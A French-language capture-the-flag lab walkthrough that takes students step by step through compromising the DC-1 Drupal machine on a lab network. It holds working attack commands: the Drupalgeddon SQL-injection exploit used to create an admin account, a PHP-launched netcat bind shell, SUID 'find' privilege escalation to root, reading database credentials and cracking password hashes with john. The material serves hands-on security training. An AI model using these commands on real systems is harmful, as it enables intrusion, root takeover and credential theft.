Hacker Lab


DC-1 est la première machine de la suite DC designées par five86.
C'est une machine de niveau débutant qui permet de pratiquer le pentesting.
Il y a cinq messages cachés à trouver.

Accès à la VM
La VM n'est pas accessible à partir du xterm [Mon terminal].
Vous devez lancer une Kali sur votre PC et vous connecter avec un tunnel openvpn [Mon accès].
Ou bien, vous pouvez lancer une kali dans le browser [Ma Kali].

Démarrer la VM
Vérifiez que la VM est lancée sur la page [VMs], et pingez l'IP à partir de la Kali.

1 / 17 - Nmap
5

Lancer un nmap sans option sur 192.168.1.14
Le flag est la liste des ports ouverts sous la forme: a:b:c

2 / 17 - Apache version
5

Lancer un nmap avec l'option -sV sur 192.168.1.14
Le flag est la version du serveur web sous la forme a.b.c

3 / 17 - Robots.txt
5

Récupérez le fichier http://192.168.1.14/robots.txt
Ce fichier donne des indications sur l'arborescence du serveur.
Mais rien d'exploitable pour l'instant.
Le flag est la valeur du champ Crawl-delay:

4 / 17 - Drupal
5

Ouvrez votre navigateur sur le site http://192.168.1.14
Regarder le code HTML de la page (click droit - View Page Source).
Le flag est la version du CMS Drupal sur lequel est basé le site.

5 / 17 - "Drupalgeddon: CVE 2014-3704"
5

Drupal a souffert d'une faille majeure appelée Drupalgeddon.
Elle a été patché, mais le patch a introduit une seconde faille...
Qui a aussitot été patché, mais le patch a introduit une troisième faille...
Vous allez exploiter la CVE 2014-3704 qui est référencée sur exploit-db:
https://www.exploit-db.com/exploits/34992
Lisez les explications.

Cette faille est une injection sql, grâce à laquelle nous allons créer un nouvel utilisateur avec des droits d'administration de Drupal.
Cherchez la variable 'post_data'. C'est la charge utile qui contient les commandes SQL.
On pourrait l'utiliser pour lister le contenu de la table... ouvrir un shell... Certains exploits de Drupalgeddon le font.

Cette injection SQL va insérer des entrées dans 2 tables. La table users, et une seconde table. Le flag est le nom de cette seconde table.

Pour copier le code de l'exploit: sur exploit-db, cliquez sur {} (view raw), et faite un copier-coller dans un fichier sous kali.
Un petit chmod, et utilisez cet exploit pour vous créer un compte admin personnel:
$ ./34992.py -t http://192.168.1.14 -u USERACREER -p PASSWORDDUUSERACREER

6 / 17 - "Flag3"
5

Connectez vous avec votre compte tout neuf, et visitez un peu Drupal. Sans rien casser, hein ? On n'est pas des sauvages.

Drupal est un logiciel qui permet de tenir un petit blog, ou un très gros site.
Un indice, appelé Flag3 est caché dans les posts. Il donne une indication qui sera utile lors de la future escalade de privilège.
Le flag est le premier mot de l'indice.

7 / 17 - "Commandes PHP"
5

Il existe de nombreuses façon d'obtenir un shell avec un compte administrateur sur Drupal.
Vous avez accès à de nombreux outils d'administration, ça va être facile.

Vérifiez que vous pouvez utiliser du code php dans les articles.
Dans l'onglet [Modules], vérifiez que 'PHP filter' est coché. Si ce n'est pas le cas, cochez et Sauvez.
Sur la ligne 'PHP Filter', cliquez sur Permission, et vérifiez que sur la ligne 'Use the PHP code text format', 'Administrator' est coché. Si ce n'est pas le cas, cochez et Sauvez.

Vous pouvez publier des articles comportant du code PHP...
Dans le menu en haut [Add content], choisissez [Article].
Donnez lui un titre.
Selectionnez 'Text format'-'PHP Code'.
Et entrez votre code PHP dans le texte.
<?php system('id') ?>
Cliquez sur [Preview] pour executer votre code.

Le flag est le nom du compte linux qui execute votre code php.

Ne cliquez pas sur [Save], cliquez sur [Preview]. Les articles sont publiés sur la page d'accueil de Drupal... et tout le monde va éxécuter votre script en boucle. Vous risquez de pourrir le serveur, qui va freezer, voire faire cadeau de votre code à vos collègues...
C'est une habitude saine à prendre sur les serveurs publics, évitez d'injecter votre webshell dans la page d'accueil, sinon elle se déclenche pour tous les utilisateurs, scans... Et les utilisateurs quand ils sont énervés demandent le reboot du serveur. Vous n'aurez plus qu'à tout recommencer...
Là, vous allez pouvoir lancer plusieurs commandes shell à la suite, proprement, sans impacter personne.

Note: Si vous rencontrez un serveur sur lequel ce module n'est pas installé, vous pouvez l'uploader, ou uploader un module shell-7.x-1.0-beta5.zip...

8 / 17 - "Encore un flag"
5

Le flag est nom du dernier user du fichier /etc/passwd

9 / 17 - "Flag1"
5

Lancez un netcat en écoute sur le serveur avec votre commande PHP.
La commande classique est:

<?php system('nc -e /bin/bash -lvp 4444') ?> 

Prenez un port aléatoire entre 4444 et 5000.

Dans votre terminal, connectez vous au netcat:

nc 192.168.1.14 4444 

Lancez quelques commandes shell: ls -al, id, pwd
Les flèches ont un comportement désagréable. Normal vous n'êtes pas dans un tty, mais dans une socket.

Vous allez vous créer un shell de type Terminal, avec des colonnes, des lignes, un historique, dela couleur, grace à Python...

python -c 'import pty; pty.spawn("/bin/bash")' 

Maintenant, vous mettrez la commande nc en arrière plan avec un control-Z, puis vous précisez à votre shell Kali comment envoyer les codes des touches, et vous remettez nc en premier plan (foreground).

Ctrl-Z 
stty raw -echo 
fg 

Ouvrez le fichier qui contient le flag.
Le Flag est le premier mot.

Note: Sur les version récentes de nc, l'option -e est supprimée, car jugée trop dangereuse...

10 / 17 - "Flag 4 again..."
5

Regardez /home, et lisez le flag. Trop facile...
Le Flag est le premier mot.

11 / 17 - "Elevation de privilege"
5

Vous êtes sur le compte du serveur web, et vous voulez passer root...
La méthodologie est toujours la même:

  • Faire sudo -l, pour voir si on possède des droits privilégiés.
  • Rechercher les fichiers lisibles dans tous les répertoires. Idéalement fichiers de config, sauvegardes,...
  • Chercher les fichiers avec un sticky bit.
  • Chercher les process lancés par root qui lisent des fichiers sur lesquel nous avons les droits en écriture, ou qui ont des vulnérabilités connues.
  • En toute fin, regarder la version du noyau Linux pour utiliser un exploit kernel, avec le risque de planter la machine.

    Ici, nous allons utiliser un sticky bit.
    find / -perm -u=s -type f 2>/dev/null 

    On recherche un programme qui peut lancer des commandes shell : scp, vi, vim, lynx, mail, awk, find, less, man, ...
    Le flag est le programme avec sticky bit que nous allons utiliser.

    Il existe des scripts qui font cette énumération pour vous: LinEnum.sh, linuxprivchecker.py, unixprivesc.sh... Utile une fois que l'on sait quoi chercher.

12 / 17 - "Sticky Bit"
5

Find est le sticky bit le plus simple à utiliser.
La commande suivante va chercher un fichier dans le répertoire courant, et si elle en trouve un, elle ouvre un shell.

find . -exec '/bin/sh' \; 

Comme find possède un sticky bit, il fonctionne sous le comte root.
Vous pouvez aller chercher le flag root en /root/xxx...
Le flag est l'id twitter de l'auteur.

13 / 17 - "Flag 2"
5

Le flag 1 nous dit : good CMS needs a config file
Une fois sur le serveur, c'est une bonne habitude de faire le tour des fichiers de config.
On y trouve souvent des login, mots de passe...
Le fichier de config de Drupal est en /var/www, le répertoire web, sous répertoire sites/default/settings.php
Le flag est le mot de passe de la base de donnée.

14 / 17 - "MySQL"
5

Regardons ce qui est rangé dans cette base de données.

mysql -u dbuser -p drupaldb 
show databases; 
show tables; 
select name, pass from users; 
exit 
-------+---------------------------------------------------------+ 
 name  | pass                                                    | 
+-------+---------------------------------------------------------+ 
       |                                                         | 
 admin | $S$DvQI6Y6xxxxxxxxxxxxxxxxxxxxxxxxxEDTCP9nS5.i38jnEKuDR | 
 Fxxxx | $S$DWGrxefxxxxxxxxxxxxxxxxxxxxxxxxxxxx3QBwC0EkvBQ/9TCGg | 
 ..... | $S$Drpxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/x/4ukZ.RXi | 
+-------+---------------------------------------------------------+ 

Le flag est le nom de l'utilisateur commençant par F.

15 / 17 - "John 1"
5

Copie le hash de Fxx dans un fichier, et demande à john de le casser

echo '$S$DWGrxefxxxxxxxxxxxxxxxxxxxxxxxxxxxx3QBwC0EkvBQ/9TCGg'>hash1.txt 
john hash1.txt 

Le flag est le mot de passe.

Le hash est au format $S$someveryverylongencryptedpasswd
Le $S précise le format Drupal7 [SHA512 256/256 AVX2 4x]

16 / 17 - "John 2"
5

Le flag est le mot de passe du user admin.

17 / 17 - "John"
5

Maintenant que vous êtes root, regardez /etc/passwd
Copiez la ligne de Flag4 dans votre kali: echo 'xxxxx'>hash3.txt
Lancez john dessus

john hash3.txt 

Le flag est le mot de passe du compte Flag4.

Le hash est au format $6$somesalt$someveryverylongencryptedpasswd
$6 : SHA-512
$somesalt : Un salt, pour compliquer le pré-calcul des hash
$xxxx : Le hash